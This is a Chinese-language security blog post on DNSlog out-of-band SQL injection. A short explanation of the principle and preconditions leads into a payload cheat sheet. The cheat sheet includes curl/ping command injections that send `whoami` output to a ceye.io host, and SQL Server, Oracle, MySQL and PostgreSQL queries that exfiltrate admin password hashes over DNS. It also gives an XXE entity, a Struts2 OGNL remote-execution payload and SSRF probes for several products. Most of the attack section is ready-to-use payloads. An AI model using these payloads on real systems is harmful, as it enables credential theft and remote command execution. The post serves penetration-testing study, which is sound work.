WEB安全之:DNSlog SQL 注入

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 原理

  • DNSlog 就是存储在 DNS 服务器上的域名解析记录,DNSlog 记录着浏览器对域名访问的信息,利用 DNSlog 能读取多级域名的解析日志,获取信息。
  • 发起带有查询语句 DNS 查询请求,通过 DNS 请求查询到值,组合成三级域名,在 NS 服务器 DNS 的日志中显示出来。

2 利用场景

  • 当 WEB 应用程序存在 SQL 注入漏洞时,页面无回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
  • 利用盲注二分法、布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截甚至会被封 IP;
  • 此时利用 DNSlog 注入,把请求的内容外带出来,通过查询 DNSlog 得到想要的结果。

3 前提条件

  • 拥有一台 DNSlog 服务器
  • 目标主机能够访问互联网
  • 用户具有文件读写权限
  • 可以使用 union 查询
  • 知道要读文件的绝对路径
    (1)查询用户的文件权限

4 平台

5 Payloads

ceye 网站中的 payloads 示例

CEYE平台的使用-更为详细的示例)

0x00 命令执行

i. *nix:

curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

ii. windows

ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

i. SQL Server

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

例:
# 查询 Mssql sa 密码
;DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 password from admin)+'.YourIdentifier.ceye.io';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');

http://mssql.lab.com/index.aspx?id=1%3b%44%45%43%4c%41%52%45%20%40%68%6f%73%74%20%76%61%72%63%68%61%72%28%31%30%32%34%29%3b%53%45%4c%45%43%54%20%40%68%6f%73%74%3d%28%53%45%4c%45%43%54%20%54%4f%50%20%31%20%70%61%73%73%77%6f%72%64%20%66%72%6f%6d%20%61%64%6d%69%6e%29%2b%27%2e%36%68%63%6a%64%39%2e%63%65%79%65%2e%69%6f%27%3b%45%58%45%43%28%27%6d%61%73%74%65%72%2e%2e%78%70%5f%64%69%72%74%72%65%65%22%5c%5c%27%2b%40%68%6f%73%74%2b%27%5c%66%6f%6f%62%61%72%24%22%27%29%3b

ii. Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

iii. MySQL

  • MySQL 5.7.6版本引入新特性 secure_file_priv 用来限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() 传到哪个指定目录的。
  • show variables like ‘%secure%’; 查看 load_file() 是否可以读取磁盘。
  • secure_file_priv 参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。
    • NULL :默认,表示限制 Mysql 不允许导入导出。
    • /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
    • 空值:表示不限制 Mysql 的导入|导出
  • 可以通过命令查看这个属性
    • select @@secure_file_priv
  • 若 Mysql + PHP 架构,PHP 配置文件 php.ini 中的 gpc 参数也会影响写入文件 :
    • gpc 开启:特殊字符都会被转义,如:' 转义为 \',此时需要对输入做转义
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
例:
# 查询数据库版本
http://mysql.lab.com/index.php?id=1 and (select load_file(concat('\\\\',(select version()),'.YourIdentifier.ceye.io\\abc')))

iv. PostgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

0x02 XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

0x03 Others

i. Struts2

xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

ii. FFMpeg

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://ip.port.b182oj.ceye.io#EXT-X-ENDLIST

iii. Weblogic

 xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

iv. ImageMagick

push graphic-contextviewbox 0 0 640 480fill 'url(http://ip.port.b182oj.ceye.io)'pop graphic-context

v. Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf

vi. Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http:/
posted @ 2021-06-18 14:01  f_carey  阅读(33)  评论(0编辑  收藏  举报  来源